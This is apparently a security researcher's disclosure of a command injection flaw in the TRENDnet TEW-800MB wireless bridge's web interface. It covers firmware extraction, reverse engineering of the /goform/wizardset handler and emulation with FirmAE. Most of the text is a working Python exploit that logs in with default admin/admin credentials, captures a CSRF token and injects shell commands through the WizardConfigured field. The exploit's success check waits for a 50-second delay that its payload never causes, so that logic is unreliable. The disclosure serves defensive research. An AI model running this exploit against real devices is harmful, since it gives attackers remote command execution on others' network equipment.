image.png

The TRENDnet TEW-800MB is a high-performance AC1200 Dual Band Wireless Media Bridge. It is designed to connect network-enabled devices, such as Smart TVs, media players, and game consoles, to a high-speed Wireless AC network. The device supports both 5 GHz and 2.4 GHz bands and is intended to provide high-performance wireless connectivity for streaming HD media and gaming.

Analysis procedure

We can accuqire the firmware through the Trendnet website. And we use the binwalk to extract the binary. The vulnerability was discovered through a static analysis of the httpd, using ida to do reverse engineering on the binary specifically within the web server's request handling logic.

Identification of Suspicious Endpoint

The mapping of URL paths to handler functions was examined. The following entry was found:

{ "goform/wizardset*", "text/html", no_cache, do_apply_post, do_setWizard_asp, do_auth }, //Tom.Hung 2012-11-15, Add for wizard

This indicates that HTTP POST requests to /goform/wizardset are handled by the do_setWizard_asp function.

Code Analysis

The sub_29BECfunction, a critical vulnerability was identified in how the WizardConfigured parameter is processed.

image.png

Vulnerability Details:

  1. The code retrieves the value of the WizardConfigured parameter from the HTTP request using websGetVar.
  2. This value is directly inserted into a shell command string using sprintf: echo %s > /sys/class/net/br0/bridge/redirect_wizard.
  3. The constructed command is executed using system(cmd).
  4. There is no sanitization or validation of the wconf input before it is passed to system(). This allows an authenticated attacker (or an attacker with a valid CSRF token) to inject arbitrary shell commands. For example, by setting WizardConfigured to 1; /bin/sh, the executed command becomes echo 1; /bin/sh > ..., resulting in the execution of /bin/sh.

Verify

To verify this vulnerability, we download the firmware from the website of trendnet https://downloads.trendnet.com/TEW-800MB/firmware/

And then we use the https://github.com/pr0v3rbs/FirmAE to simulate the firmware.

image.png

And we have the access to the webpage and the shell.

image.png

We exploit the vulnerablity by using the poc as followed.

import base64
import re
import requests
import time

def build_basic_header(username: str, password: str) -> str:
    auth = f"{username}:{password}"
    return base64.b64encode(auth.encode("utf-8")).decode("utf-8")

def fetch_token(session: requests.Session, target: str, headers: dict) -> str:
    try:
        resp = session.get(f"http://{target}/wizard/wizard.asp", headers=headers, timeout=10)
        resp.raise_for_status()
        match = re.search(r'name="token" value="([^"]+)"', resp.text)
        if not match:
            print("[-] Unable to locate CSRF token in wizard page")
            return None
        return match.group(1)
    except Exception as e:
        print(f"[-] Error fetching token: {e}")
        return None

def verify_rce(target, username, password):
    print(f"[*] Target: {target}")
    
    session = requests.Session()
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
        "Authorization": f"Basic {build_basic_header(username, password)}",
        "Upgrade-Insecure-Requests": "1",
    }

    token = fetch_token(session, target, headers)
    if not token:
        return

    print(f"[+] Captured token: {token}")

    sleep_time = 50
    cmd = f"1; echo 'hello world' > /pwned; #"
    
    data = {
        "token": token,
        "WizardConfigured": cmd,
    }

    print(f"[*] Sending payload: {cmd}")
    print(f"[*] Expecting response delay of at least {sleep_time} seconds...")
    
    start_time = time.time()
    try:
        resp = session.post(f"http://{target}/goform/wizardset", headers=headers, data=data, timeout=5)
        end_time = time.time()
        duration = end_time - start_time
        
        print(f"[+] Request completed in {duration:.2f} seconds")
        
        if duration >= sleep_time:
            print(f"[SUCCESS] Vulnerability Verified! Response time indicates command execution.")
        else:
            print(f"[-] Response was too fast. Command might not have executed or sleep is not available.")
            
    except requests.exceptions.Timeout:
        print(f"[SUCCESS] Request timed out (expected if sleep worked and timeout was short). Vulnerability Verified!")
    except Exception as e:
        print(f"[-] Request failed: {e}")

if __name__ == "__main__":
    target = "192.168.10.110"
    username = "admin"
    password = "admin"
    verify_rce(target, username, password)